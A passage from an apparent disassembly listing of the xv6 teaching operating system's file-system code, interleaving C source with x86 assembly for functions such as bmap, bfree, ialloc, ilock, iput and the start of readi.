80101678: 5e pop %esi
80101679: 5f pop %edi
8010167a: 5d pop %ebp
8010167b: c3 ret
8010167c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
ip->addrs[bn] = addr = balloc(ip->dev);
80101680: 8b 00 mov (%eax),%eax
80101682: e8 89 fd ff ff call 80101410 <balloc>
80101687: 89 47 5c mov %eax,0x5c(%edi)
}
8010168a: 8d 65 f4 lea -0xc(%ebp),%esp
ip->addrs[bn] = addr = balloc(ip->dev);
8010168d: 89 c3 mov %eax,%ebx
}
8010168f: 89 d8 mov %ebx,%eax
80101691: 5b pop %ebx
80101692: 5e pop %esi
80101693: 5f pop %edi
80101694: 5d pop %ebp
80101695: c3 ret
80101696: 8d 76 00 lea 0x0(%esi),%esi
80101699: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
801016a0: e8 6b fd ff ff call 80101410 <balloc>
801016a5: 89 c2 mov %eax,%edx
801016a7: 89 86 8c 00 00 00 mov %eax,0x8c(%esi)
801016ad: 8b 06 mov (%esi),%eax
801016af: e9 7c ff ff ff jmp 80101630 <bmap+0x40>
panic("bmap: out of range");
801016b4: 83 ec 0c sub $0xc,%esp
801016b7: 68 a5 72 10 80 push $0x801072a5
801016bc: e8 cf ec ff ff call 80100390 <panic>
801016c1: eb 0d jmp 801016d0 <readsb>
801016c3: 90 nop
801016c4: 90 nop
801016c5: 90 nop
801016c6: 90 nop
801016c7: 90 nop
801016c8: 90 nop
801016c9: 90 nop
801016ca: 90 nop
801016cb: 90 nop
801016cc: 90 nop
801016cd: 90 nop
801016ce: 90 nop
801016cf: 90 nop
801016d0 <readsb>:
{
801016d0: 55 push %ebp
801016d1: 89 e5 mov %esp,%ebp
801016d3: 56 push %esi
801016d4: 53 push %ebx
801016d5: 8b 75 0c mov 0xc(%ebp),%esi
bp = bread(dev, 1);
801016d8: 83 ec 08 sub $0x8,%esp
801016db: 6a 01 push $0x1
801016dd: ff 75 08 pushl 0x8(%ebp)
801016e0: e8 eb e9 ff ff call 801000d0 <bread>
801016e5: 89 c3 mov %eax,%ebx
memmove(sb, bp->data, sizeof(*sb));
801016e7: 8d 40 5c lea 0x5c(%eax),%eax
801016ea: 83 c4 0c add $0xc,%esp
801016ed: 6a 1c push $0x1c
801016ef: 50 push %eax
801016f0: 56 push %esi
801016f1: e8 1a 31 00 00 call 80104810 <memmove>
brelse(bp);
801016f6: 89 5d 08 mov %ebx,0x8(%ebp)
801016f9: 83 c4 10 add $0x10,%esp
}
801016fc: 8d 65 f8 lea -0x8(%ebp),%esp
801016ff: 5b pop %ebx
80101700: 5e pop %esi
80101701: 5d pop %ebp
brelse(bp);
80101702: e9 d9 ea ff ff jmp 801001e0 <brelse>
80101707: 89 f6 mov %esi,%esi
80101709: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101710 <bfree>:
{
80101710: 55 push %ebp
80101711: 89 e5 mov %esp,%ebp
80101713: 56 push %esi
80101714: 53 push %ebx
80101715: 89 d3 mov %edx,%ebx
80101717: 89 c6 mov %eax,%esi
readsb(dev, &sb);
80101719: 83 ec 08 sub $0x8,%esp
8010171c: 68 80 0c 11 80 push $0x80110c80
80101721: 50 push %eax
80101722: e8 a9 ff ff ff call 801016d0 <readsb>
bp = bread(dev, BBLOCK(b, sb));
80101727: 58 pop %eax
80101728: 5a pop %edx
80101729: 89 da mov %ebx,%edx
8010172b: c1 ea 0c shr $0xc,%edx
8010172e: 03 15 98 0c 11 80 add 0x80110c98,%edx
80101734: 52 push %edx
80101735: 56 push %esi
80101736: e8 95 e9 ff ff call 801000d0 <bread>
m = 1 << (bi % 8);
8010173b: 89 d9 mov %ebx,%ecx
if((bp->data[bi/8] & m) == 0)
8010173d: c1 fb 03 sar $0x3,%ebx
m = 1 << (bi % 8);
80101740: ba 01 00 00 00 mov $0x1,%edx
80101745: 83 e1 07 and $0x7,%ecx
if((bp->data[bi/8] & m) == 0)
80101748: 81 e3 ff 01 00 00 and $0x1ff,%ebx
8010174e: 83 c4 10 add $0x10,%esp
m = 1 << (bi % 8);
80101751: d3 e2 shl %cl,%edx
if((bp->data[bi/8] & m) == 0)
80101753: 0f b6 4c 18 5c movzbl 0x5c(%eax,%ebx,1),%ecx
80101758: 85 d1 test %edx,%ecx
8010175a: 74 25 je 80101781 <bfree+0x71>
bp->data[bi/8] &= ~m;
8010175c: f7 d2 not %edx
8010175e: 89 c6 mov %eax,%esi
log_write(bp);
80101760: 83 ec 0c sub $0xc,%esp
bp->data[bi/8] &= ~m;
80101763: 21 ca and %ecx,%edx
80101765: 88 54 1e 5c mov %dl,0x5c(%esi,%ebx,1)
log_write(bp);
80101769: 56 push %esi
8010176a: e8 11 19 00 00 call 80103080 <log_write>
brelse(bp);
8010176f: 89 34 24 mov %esi,(%esp)
80101772: e8 69 ea ff ff call 801001e0 <brelse>
}
80101777: 83 c4 10 add $0x10,%esp
8010177a: 8d 65 f8 lea -0x8(%ebp),%esp
8010177d: 5b pop %ebx
8010177e: 5e pop %esi
8010177f: 5d pop %ebp
80101780: c3 ret
panic("freeing free block");
80101781: 83 ec 0c sub $0xc,%esp
80101784: 68 b8 72 10 80 push $0x801072b8
80101789: e8 02 ec ff ff call 80100390 <panic>
8010178e: 66 90 xchg %ax,%ax
80101790 <iinit>:
{
80101790: 55 push %ebp
80101791: 89 e5 mov %esp,%ebp
80101793: 53 push %ebx
80101794: bb e0 0c 11 80 mov $0x80110ce0,%ebx
80101799: 83 ec 0c sub $0xc,%esp
initlock(&icache.lock, "icache");
8010179c: 68 cb 72 10 80 push $0x801072cb
801017a1: 68 a0 0c 11 80 push $0x80110ca0
801017a6: e8 65 2d 00 00 call 80104510 <initlock>
801017ab: 83 c4 10 add $0x10,%esp
801017ae: 66 90 xchg %ax,%ax
initsleeplock(&icache.inode[i].lock, "inode");
801017b0: 83 ec 08 sub $0x8,%esp
801017b3: 68 d2 72 10 80 push $0x801072d2
801017b8: 53 push %ebx
801017b9: 81 c3 90 00 00 00 add $0x90,%ebx
801017bf: e8 1c 2c 00 00 call 801043e0 <initsleeplock>
for(i = 0; i < NINODE; i++) {
801017c4: 83 c4 10 add $0x10,%esp
801017c7: 81 fb 00 29 11 80 cmp $0x80112900,%ebx
801017cd: 75 e1 jne 801017b0 <iinit+0x20>
readsb(dev, &sb);
801017cf: 83 ec 08 sub $0x8,%esp
801017d2: 68 80 0c 11 80 push $0x80110c80
801017d7: ff 75 08 pushl 0x8(%ebp)
801017da: e8 f1 fe ff ff call 801016d0 <readsb>
cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d\
801017df: ff 35 98 0c 11 80 pushl 0x80110c98
801017e5: ff 35 94 0c 11 80 pushl 0x80110c94
801017eb: ff 35 90 0c 11 80 pushl 0x80110c90
801017f1: ff 35 8c 0c 11 80 pushl 0x80110c8c
801017f7: ff 35 88 0c 11 80 pushl 0x80110c88
801017fd: ff 35 84 0c 11 80 pushl 0x80110c84
80101803: ff 35 80 0c 11 80 pushl 0x80110c80
80101809: 68 38 73 10 80 push $0x80107338
8010180e: e8 4d ee ff ff call 80100660 <cprintf>
}
80101813: 83 c4 30 add $0x30,%esp
80101816: 8b 5d fc mov -0x4(%ebp),%ebx
80101819: c9 leave
8010181a: c3 ret
8010181b: 90 nop
8010181c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101820 <ialloc>:
{
80101820: 55 push %ebp
80101821: 89 e5 mov %esp,%ebp
80101823: 57 push %edi
80101824: 56 push %esi
80101825: 53 push %ebx
80101826: 83 ec 1c sub $0x1c,%esp
for(inum = 1; inum < sb.ninodes; inum++){
80101829: 83 3d 88 0c 11 80 01 cmpl $0x1,0x80110c88
{
80101830: 8b 45 0c mov 0xc(%ebp),%eax
80101833: 8b 75 08 mov 0x8(%ebp),%esi
80101836: 89 45 e4 mov %eax,-0x1c(%ebp)
for(inum = 1; inum < sb.ninodes; inum++){
80101839: 0f 86 91 00 00 00 jbe 801018d0 <ialloc+0xb0>
8010183f: bb 01 00 00 00 mov $0x1,%ebx
80101844: eb 21 jmp 80101867 <ialloc+0x47>
80101846: 8d 76 00 lea 0x0(%esi),%esi
80101849: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
brelse(bp);
80101850: 83 ec 0c sub $0xc,%esp
for(inum = 1; inum < sb.ninodes; inum++){
80101853: 83 c3 01 add $0x1,%ebx
brelse(bp);
80101856: 57 push %edi
80101857: e8 84 e9 ff ff call 801001e0 <brelse>
for(inum = 1; inum < sb.ninodes; inum++){
8010185c: 83 c4 10 add $0x10,%esp
8010185f: 39 1d 88 0c 11 80 cmp %ebx,0x80110c88
80101865: 76 69 jbe 801018d0 <ialloc+0xb0>
bp = bread(dev, IBLOCK(inum, sb));
80101867: 89 d8 mov %ebx,%eax
80101869: 83 ec 08 sub $0x8,%esp
8010186c: c1 e8 03 shr $0x3,%eax
8010186f: 03 05 94 0c 11 80 add 0x80110c94,%eax
80101875: 50 push %eax
80101876: 56 push %esi
80101877: e8 54 e8 ff ff call 801000d0 <bread>
8010187c: 89 c7 mov %eax,%edi
dip = (struct dinode*)bp->data + inum%IPB;
8010187e: 89 d8 mov %ebx,%eax
if(dip->type == 0){ // a free inode
80101880: 83 c4 10 add $0x10,%esp
dip = (struct dinode*)bp->data + inum%IPB;
80101883: 83 e0 07 and $0x7,%eax
80101886: c1 e0 06 shl $0x6,%eax
80101889: 8d 4c 07 5c lea 0x5c(%edi,%eax,1),%ecx
if(dip->type == 0){ // a free inode
8010188d: 66 83 39 00 cmpw $0x0,(%ecx)
80101891: 75 bd jne 80101850 <ialloc+0x30>
memset(dip, 0, sizeof(*dip));
80101893: 83 ec 04 sub $0x4,%esp
80101896: 89 4d e0 mov %ecx,-0x20(%ebp)
80101899: 6a 40 push $0x40
8010189b: 6a 00 push $0x0
8010189d: 51 push %ecx
8010189e: e8 bd 2e 00 00 call 80104760 <memset>
dip->type = type;
801018a3: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax
801018a7: 8b 4d e0 mov -0x20(%ebp),%ecx
801018aa: 66 89 01 mov %ax,(%ecx)
log_write(bp); // mark it allocated on the disk
801018ad: 89 3c 24 mov %edi,(%esp)
801018b0: e8 cb 17 00 00 call 80103080 <log_write>
brelse(bp);
801018b5: 89 3c 24 mov %edi,(%esp)
801018b8: e8 23 e9 ff ff call 801001e0 <brelse>
return iget(dev, inum);
801018bd: 83 c4 10 add $0x10,%esp
}
801018c0: 8d 65 f4 lea -0xc(%ebp),%esp
return iget(dev, inum);
801018c3: 89 da mov %ebx,%edx
801018c5: 89 f0 mov %esi,%eax
}
801018c7: 5b pop %ebx
801018c8: 5e pop %esi
801018c9: 5f pop %edi
801018ca: 5d pop %ebp
return iget(dev, inum);
801018cb: e9 50 fc ff ff jmp 80101520 <iget>
panic("ialloc: no inodes");
801018d0: 83 ec 0c sub $0xc,%esp
801018d3: 68 d8 72 10 80 push $0x801072d8
801018d8: e8 b3 ea ff ff call 80100390 <panic>
801018dd: 8d 76 00 lea 0x0(%esi),%esi
801018e0 <iupdate>:
{
801018e0: 55 push %ebp
801018e1: 89 e5 mov %esp,%ebp
801018e3: 56 push %esi
801018e4: 53 push %ebx
801018e5: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
801018e8: 83 ec 08 sub $0x8,%esp
801018eb: 8b 43 04 mov 0x4(%ebx),%eax
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
801018ee: 83 c3 5c add $0x5c,%ebx
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
801018f1: c1 e8 03 shr $0x3,%eax
801018f4: 03 05 94 0c 11 80 add 0x80110c94,%eax
801018fa: 50 push %eax
801018fb: ff 73 a4 pushl -0x5c(%ebx)
801018fe: e8 cd e7 ff ff call 801000d0 <bread>
80101903: 89 c6 mov %eax,%esi
dip = (struct dinode*)bp->data + ip->inum%IPB;
80101905: 8b 43 a8 mov -0x58(%ebx),%eax
dip->type = ip->type;
80101908: 0f b7 53 f4 movzwl -0xc(%ebx),%edx
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
8010190c: 83 c4 0c add $0xc,%esp
dip = (struct dinode*)bp->data + ip->inum%IPB;
8010190f: 83 e0 07 and $0x7,%eax
80101912: c1 e0 06 shl $0x6,%eax
80101915: 8d 44 06 5c lea 0x5c(%esi,%eax,1),%eax
dip->type = ip->type;
80101919: 66 89 10 mov %dx,(%eax)
dip->major = ip->major;
8010191c: 0f b7 53 f6 movzwl -0xa(%ebx),%edx
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
80101920: 83 c0 0c add $0xc,%eax
dip->major = ip->major;
80101923: 66 89 50 f6 mov %dx,-0xa(%eax)
dip->minor = ip->minor;
80101927: 0f b7 53 f8 movzwl -0x8(%ebx),%edx
8010192b: 66 89 50 f8 mov %dx,-0x8(%eax)
dip->nlink = ip->nlink;
8010192f: 0f b7 53 fa movzwl -0x6(%ebx),%edx
80101933: 66 89 50 fa mov %dx,-0x6(%eax)
dip->size = ip->size;
80101937: 8b 53 fc mov -0x4(%ebx),%edx
8010193a: 89 50 fc mov %edx,-0x4(%eax)
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
8010193d: 6a 34 push $0x34
8010193f: 53 push %ebx
80101940: 50 push %eax
80101941: e8 ca 2e 00 00 call 80104810 <memmove>
log_write(bp);
80101946: 89 34 24 mov %esi,(%esp)
80101949: e8 32 17 00 00 call 80103080 <log_write>
brelse(bp);
8010194e: 89 75 08 mov %esi,0x8(%ebp)
80101951: 83 c4 10 add $0x10,%esp
}
80101954: 8d 65 f8 lea -0x8(%ebp),%esp
80101957: 5b pop %ebx
80101958: 5e pop %esi
80101959: 5d pop %ebp
brelse(bp);
8010195a: e9 81 e8 ff ff jmp 801001e0 <brelse>
8010195f: 90 nop
80101960 <idup>:
{
80101960: 55 push %ebp
80101961: 89 e5 mov %esp,%ebp
80101963: 53 push %ebx
80101964: 83 ec 10 sub $0x10,%esp
80101967: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&icache.lock);
8010196a: 68 a0 0c 11 80 push $0x80110ca0
8010196f: e8 dc 2c 00 00 call 80104650 <acquire>
ip->ref++;
80101974: 83 43 08 01 addl $0x1,0x8(%ebx)
release(&icache.lock);
80101978: c7 04 24 a0 0c 11 80 movl $0x80110ca0,(%esp)
8010197f: e8 8c 2d 00 00 call 80104710 <release>
}
80101984: 89 d8 mov %ebx,%eax
80101986: 8b 5d fc mov -0x4(%ebp),%ebx
80101989: c9 leave
8010198a: c3 ret
8010198b: 90 nop
8010198c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101990 <ilock>:
{
80101990: 55 push %ebp
80101991: 89 e5 mov %esp,%ebp
80101993: 56 push %esi
80101994: 53 push %ebx
80101995: 8b 5d 08 mov 0x8(%ebp),%ebx
if(ip == 0 || ip->ref < 1)
80101998: 85 db test %ebx,%ebx
8010199a: 0f 84 b7 00 00 00 je 80101a57 <ilock+0xc7>
801019a0: 8b 53 08 mov 0x8(%ebx),%edx
801019a3: 85 d2 test %edx,%edx
801019a5: 0f 8e ac 00 00 00 jle 80101a57 <ilock+0xc7>
acquiresleep(&ip->lock);
801019ab: 8d 43 0c lea 0xc(%ebx),%eax
801019ae: 83 ec 0c sub $0xc,%esp
801019b1: 50 push %eax
801019b2: e8 69 2a 00 00 call 80104420 <acquiresleep>
if(ip->valid == 0){
801019b7: 8b 43 4c mov 0x4c(%ebx),%eax
801019ba: 83 c4 10 add $0x10,%esp
801019bd: 85 c0 test %eax,%eax
801019bf: 74 0f je 801019d0 <ilock+0x40>
}
801019c1: 8d 65 f8 lea -0x8(%ebp),%esp
801019c4: 5b pop %ebx
801019c5: 5e pop %esi
801019c6: 5d pop %ebp
801019c7: c3 ret
801019c8: 90 nop
801019c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
801019d0: 8b 43 04 mov 0x4(%ebx),%eax
801019d3: 83 ec 08 sub $0x8,%esp
801019d6: c1 e8 03 shr $0x3,%eax
801019d9: 03 05 94 0c 11 80 add 0x80110c94,%eax
801019df: 50 push %eax
801019e0: ff 33 pushl (%ebx)
801019e2: e8 e9 e6 ff ff call 801000d0 <bread>
801019e7: 89 c6 mov %eax,%esi
dip = (struct dinode*)bp->data + ip->inum%IPB;
801019e9: 8b 43 04 mov 0x4(%ebx),%eax
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
801019ec: 83 c4 0c add $0xc,%esp
dip = (struct dinode*)bp->data + ip->inum%IPB;
801019ef: 83 e0 07 and $0x7,%eax
801019f2: c1 e0 06 shl $0x6,%eax
801019f5: 8d 44 06 5c lea 0x5c(%esi,%eax,1),%eax
ip->type = dip->type;
801019f9: 0f b7 10 movzwl (%eax),%edx
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
801019fc: 83 c0 0c add $0xc,%eax
ip->type = dip->type;
801019ff: 66 89 53 50 mov %dx,0x50(%ebx)
ip->major = dip->major;
80101a03: 0f b7 50 f6 movzwl -0xa(%eax),%edx
80101a07: 66 89 53 52 mov %dx,0x52(%ebx)
ip->minor = dip->minor;
80101a0b: 0f b7 50 f8 movzwl -0x8(%eax),%edx
80101a0f: 66 89 53 54 mov %dx,0x54(%ebx)
ip->nlink = dip->nlink;
80101a13: 0f b7 50 fa movzwl -0x6(%eax),%edx
80101a17: 66 89 53 56 mov %dx,0x56(%ebx)
ip->size = dip->size;
80101a1b: 8b 50 fc mov -0x4(%eax),%edx
80101a1e: 89 53 58 mov %edx,0x58(%ebx)
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
80101a21: 6a 34 push $0x34
80101a23: 50 push %eax
80101a24: 8d 43 5c lea 0x5c(%ebx),%eax
80101a27: 50 push %eax
80101a28: e8 e3 2d 00 00 call 80104810 <memmove>
brelse(bp);
80101a2d: 89 34 24 mov %esi,(%esp)
80101a30: e8 ab e7 ff ff call 801001e0 <brelse>
if(ip->type == 0)
80101a35: 83 c4 10 add $0x10,%esp
80101a38: 66 83 7b 50 00 cmpw $0x0,0x50(%ebx)
ip->valid = 1;
80101a3d: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx)
if(ip->type == 0)
80101a44: 0f 85 77 ff ff ff jne 801019c1 <ilock+0x31>
panic("ilock: no type");
80101a4a: 83 ec 0c sub $0xc,%esp
80101a4d: 68 f0 72 10 80 push $0x801072f0
80101a52: e8 39 e9 ff ff call 80100390 <panic>
panic("ilock");
80101a57: 83 ec 0c sub $0xc,%esp
80101a5a: 68 ea 72 10 80 push $0x801072ea
80101a5f: e8 2c e9 ff ff call 80100390 <panic>
80101a64: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80101a6a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80101a70 <iunlock>:
{
80101a70: 55 push %ebp
80101a71: 89 e5 mov %esp,%ebp
80101a73: 56 push %esi
80101a74: 53 push %ebx
80101a75: 8b 5d 08 mov 0x8(%ebp),%ebx
if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1)
80101a78: 85 db test %ebx,%ebx
80101a7a: 74 28 je 80101aa4 <iunlock+0x34>
80101a7c: 8d 73 0c lea 0xc(%ebx),%esi
80101a7f: 83 ec 0c sub $0xc,%esp
80101a82: 56 push %esi
80101a83: e8 38 2a 00 00 call 801044c0 <holdingsleep>
80101a88: 83 c4 10 add $0x10,%esp
80101a8b: 85 c0 test %eax,%eax
80101a8d: 74 15 je 80101aa4 <iunlock+0x34>
80101a8f: 8b 43 08 mov 0x8(%ebx),%eax
80101a92: 85 c0 test %eax,%eax
80101a94: 7e 0e jle 80101aa4 <iunlock+0x34>
releasesleep(&ip->lock);
80101a96: 89 75 08 mov %esi,0x8(%ebp)
}
80101a99: 8d 65 f8 lea -0x8(%ebp),%esp
80101a9c: 5b pop %ebx
80101a9d: 5e pop %esi
80101a9e: 5d pop %ebp
releasesleep(&ip->lock);
80101a9f: e9 dc 29 00 00 jmp 80104480 <releasesleep>
panic("iunlock");
80101aa4: 83 ec 0c sub $0xc,%esp
80101aa7: 68 ff 72 10 80 push $0x801072ff
80101aac: e8 df e8 ff ff call 80100390 <panic>
80101ab1: eb 0d jmp 80101ac0 <iput>
80101ab3: 90 nop
80101ab4: 90 nop
80101ab5: 90 nop
80101ab6: 90 nop
80101ab7: 90 nop
80101ab8: 90 nop
80101ab9: 90 nop
80101aba: 90 nop
80101abb: 90 nop
80101abc: 90 nop
80101abd: 90 nop
80101abe: 90 nop
80101abf: 90 nop
80101ac0 <iput>:
{
80101ac0: 55 push %ebp
80101ac1: 89 e5 mov %esp,%ebp
80101ac3: 57 push %edi
80101ac4: 56 push %esi
80101ac5: 53 push %ebx
80101ac6: 83 ec 28 sub $0x28,%esp
80101ac9: 8b 5d 08 mov 0x8(%ebp),%ebx
acquiresleep(&ip->lock);
80101acc: 8d 7b 0c lea 0xc(%ebx),%edi
80101acf: 57 push %edi
80101ad0: e8 4b 29 00 00 call 80104420 <acquiresleep>
if(ip->valid && ip->nlink == 0){
80101ad5: 8b 53 4c mov 0x4c(%ebx),%edx
80101ad8: 83 c4 10 add $0x10,%esp
80101adb: 85 d2 test %edx,%edx
80101add: 74 07 je 80101ae6 <iput+0x26>
80101adf: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx)
80101ae4: 74 32 je 80101b18 <iput+0x58>
releasesleep(&ip->lock);
80101ae6: 83 ec 0c sub $0xc,%esp
80101ae9: 57 push %edi
80101aea: e8 91 29 00 00 call 80104480 <releasesleep>
acquire(&icache.lock);
80101aef: c7 04 24 a0 0c 11 80 movl $0x80110ca0,(%esp)
80101af6: e8 55 2b 00 00 call 80104650 <acquire>
ip->ref--;
80101afb: 83 6b 08 01 subl $0x1,0x8(%ebx)
release(&icache.lock);
80101aff: 83 c4 10 add $0x10,%esp
80101b02: c7 45 08 a0 0c 11 80 movl $0x80110ca0,0x8(%ebp)
}
80101b09: 8d 65 f4 lea -0xc(%ebp),%esp
80101b0c: 5b pop %ebx
80101b0d: 5e pop %esi
80101b0e: 5f pop %edi
80101b0f: 5d pop %ebp
release(&icache.lock);
80101b10: e9 fb 2b 00 00 jmp 80104710 <release>
80101b15: 8d 76 00 lea 0x0(%esi),%esi
acquire(&icache.lock);
80101b18: 83 ec 0c sub $0xc,%esp
80101b1b: 68 a0 0c 11 80 push $0x80110ca0
80101b20: e8 2b 2b 00 00 call 80104650 <acquire>
int r = ip->ref;
80101b25: 8b 73 08 mov 0x8(%ebx),%esi
release(&icache.lock);
80101b28: c7 04 24 a0 0c 11 80 movl $0x80110ca0,(%esp)
80101b2f: e8 dc 2b 00 00 call 80104710 <release>
if(r == 1){
80101b34: 83 c4 10 add $0x10,%esp
80101b37: 83 fe 01 cmp $0x1,%esi
80101b3a: 75 aa jne 80101ae6 <iput+0x26>
80101b3c: 8d 8b 8c 00 00 00 lea 0x8c(%ebx),%ecx
80101b42: 89 7d e4 mov %edi,-0x1c(%ebp)
80101b45: 8d 73 5c lea 0x5c(%ebx),%esi
80101b48: 89 cf mov %ecx,%edi
80101b4a: eb 0b jmp 80101b57 <iput+0x97>
80101b4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101b50: 83 c6 04 add $0x4,%esi
{
int i, j;
struct buf *bp;
uint *a;
for(i = 0; i < NDIRECT; i++){
80101b53: 39 fe cmp %edi,%esi
80101b55: 74 19 je 80101b70 <iput+0xb0>
if(ip->addrs[i]){
80101b57: 8b 16 mov (%esi),%edx
80101b59: 85 d2 test %edx,%edx
80101b5b: 74 f3 je 80101b50 <iput+0x90>
bfree(ip->dev, ip->addrs[i]);
80101b5d: 8b 03 mov (%ebx),%eax
80101b5f: e8 ac fb ff ff call 80101710 <bfree>
ip->addrs[i] = 0;
80101b64: c7 06 00 00 00 00 movl $0x0,(%esi)
80101b6a: eb e4 jmp 80101b50 <iput+0x90>
80101b6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
}
if(ip->addrs[NDIRECT]){
80101b70: 8b 83 8c 00 00 00 mov 0x8c(%ebx),%eax
80101b76: 8b 7d e4 mov -0x1c(%ebp),%edi
80101b79: 85 c0 test %eax,%eax
80101b7b: 75 33 jne 80101bb0 <iput+0xf0>
bfree(ip->dev, ip->addrs[NDIRECT]);
ip->addrs[NDIRECT] = 0;
}
ip->size = 0;
iupdate(ip);
80101b7d: 83 ec 0c sub $0xc,%esp
ip->size = 0;
80101b80: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx)
iupdate(ip);
80101b87: 53 push %ebx
80101b88: e8 53 fd ff ff call 801018e0 <iupdate>
ip->type = 0;
80101b8d: 31 c0 xor %eax,%eax
80101b8f: 66 89 43 50 mov %ax,0x50(%ebx)
iupdate(ip);
80101b93: 89 1c 24 mov %ebx,(%esp)
80101b96: e8 45 fd ff ff call 801018e0 <iupdate>
ip->valid = 0;
80101b9b: c7 43 4c 00 00 00 00 movl $0x0,0x4c(%ebx)
80101ba2: 83 c4 10 add $0x10,%esp
80101ba5: e9 3c ff ff ff jmp 80101ae6 <iput+0x26>
80101baa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
bp = bread(ip->dev, ip->addrs[NDIRECT]);
80101bb0: 83 ec 08 sub $0x8,%esp
80101bb3: 50 push %eax
80101bb4: ff 33 pushl (%ebx)
80101bb6: e8 15 e5 ff ff call 801000d0 <bread>
80101bbb: 8d 88 5c 02 00 00 lea 0x25c(%eax),%ecx
80101bc1: 89 7d e0 mov %edi,-0x20(%ebp)
80101bc4: 89 45 e4 mov %eax,-0x1c(%ebp)
a = (uint*)bp->data;
80101bc7: 8d 70 5c lea 0x5c(%eax),%esi
80101bca: 83 c4 10 add $0x10,%esp
80101bcd: 89 cf mov %ecx,%edi
80101bcf: eb 0e jmp 80101bdf <iput+0x11f>
80101bd1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101bd8: 83 c6 04 add $0x4,%esi
for(j = 0; j < NINDIRECT; j++){
80101bdb: 39 fe cmp %edi,%esi
80101bdd: 74 0f je 80101bee <iput+0x12e>
if(a[j])
80101bdf: 8b 16 mov (%esi),%edx
80101be1: 85 d2 test %edx,%edx
80101be3: 74 f3 je 80101bd8 <iput+0x118>
bfree(ip->dev, a[j]);
80101be5: 8b 03 mov (%ebx),%eax
80101be7: e8 24 fb ff ff call 80101710 <bfree>
80101bec: eb ea jmp 80101bd8 <iput+0x118>
brelse(bp);
80101bee: 83 ec 0c sub $0xc,%esp
80101bf1: ff 75 e4 pushl -0x1c(%ebp)
80101bf4: 8b 7d e0 mov -0x20(%ebp),%edi
80101bf7: e8 e4 e5 ff ff call 801001e0 <brelse>
bfree(ip->dev, ip->addrs[NDIRECT]);
80101bfc: 8b 93 8c 00 00 00 mov 0x8c(%ebx),%edx
80101c02: 8b 03 mov (%ebx),%eax
80101c04: e8 07 fb ff ff call 80101710 <bfree>
ip->addrs[NDIRECT] = 0;
80101c09: c7 83 8c 00 00 00 00 movl $0x0,0x8c(%ebx)
80101c10: 00 00 00
80101c13: 83 c4 10 add $0x10,%esp
80101c16: e9 62 ff ff ff jmp 80101b7d <iput+0xbd>
80101c1b: 90 nop
80101c1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101c20 <iunlockput>:
{
80101c20: 55 push %ebp
80101c21: 89 e5 mov %esp,%ebp
80101c23: 53 push %ebx
80101c24: 83 ec 10 sub $0x10,%esp
80101c27: 8b 5d 08 mov 0x8(%ebp),%ebx
iunlock(ip);
80101c2a: 53 push %ebx
80101c2b: e8 40 fe ff ff call 80101a70 <iunlock>
iput(ip);
80101c30: 89 5d 08 mov %ebx,0x8(%ebp)
80101c33: 83 c4 10 add $0x10,%esp
}
80101c36: 8b 5d fc mov -0x4(%ebp),%ebx
80101c39: c9 leave
iput(ip);
80101c3a: e9 81 fe ff ff jmp 80101ac0 <iput>
80101c3f: 90 nop
80101c40 <stati>:
// Copy stat information from inode.
// Caller must hold ip->lock.
void
stati(struct inode *ip, struct stat *st)
{
80101c40: 55 push %ebp
80101c41: 89 e5 mov %esp,%ebp
80101c43: 8b 55 08 mov 0x8(%ebp),%edx
80101c46: 8b 45 0c mov 0xc(%ebp),%eax
st->dev = ip->dev;
80101c49: 8b 0a mov (%edx),%ecx
80101c4b: 89 48 04 mov %ecx,0x4(%eax)
st->ino = ip->inum;
80101c4e: 8b 4a 04 mov 0x4(%edx),%ecx
80101c51: 89 48 08 mov %ecx,0x8(%eax)
st->type = ip->type;
80101c54: 0f b7 4a 50 movzwl 0x50(%edx),%ecx
80101c58: 66 89 08 mov %cx,(%eax)
st->nlink = ip->nlink;
80101c5b: 0f b7 4a 56 movzwl 0x56(%edx),%ecx
80101c5f: 66 89 48 0c mov %cx,0xc(%eax)
st->size = ip->size;
80101c63: 8b 52 58 mov 0x58(%edx),%edx
80101c66: 89 50 10 mov %edx,0x10(%eax)
}
80101c69: 5d pop %ebp
80101c6a: c3 ret
80101c6b: 90 nop
80101c6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101c70 <readi>:
//PAGEBREAK!
// Read data from inode.
// Caller must hold ip->lock.
int
readi(struct inode *ip, char *dst, uint off, uint n)
{
80101c70: 55 push %ebp
80101c71: 89 e5 mov %esp,%ebp
80101c73: 57 push %edi
80101c74: 56 push %esi
80101c75: 53 push %ebx
80101c76: 83 ec 1c sub $0x1c,%esp
80101c79: 8b 45 08 mov 0x8(%ebp),%eax
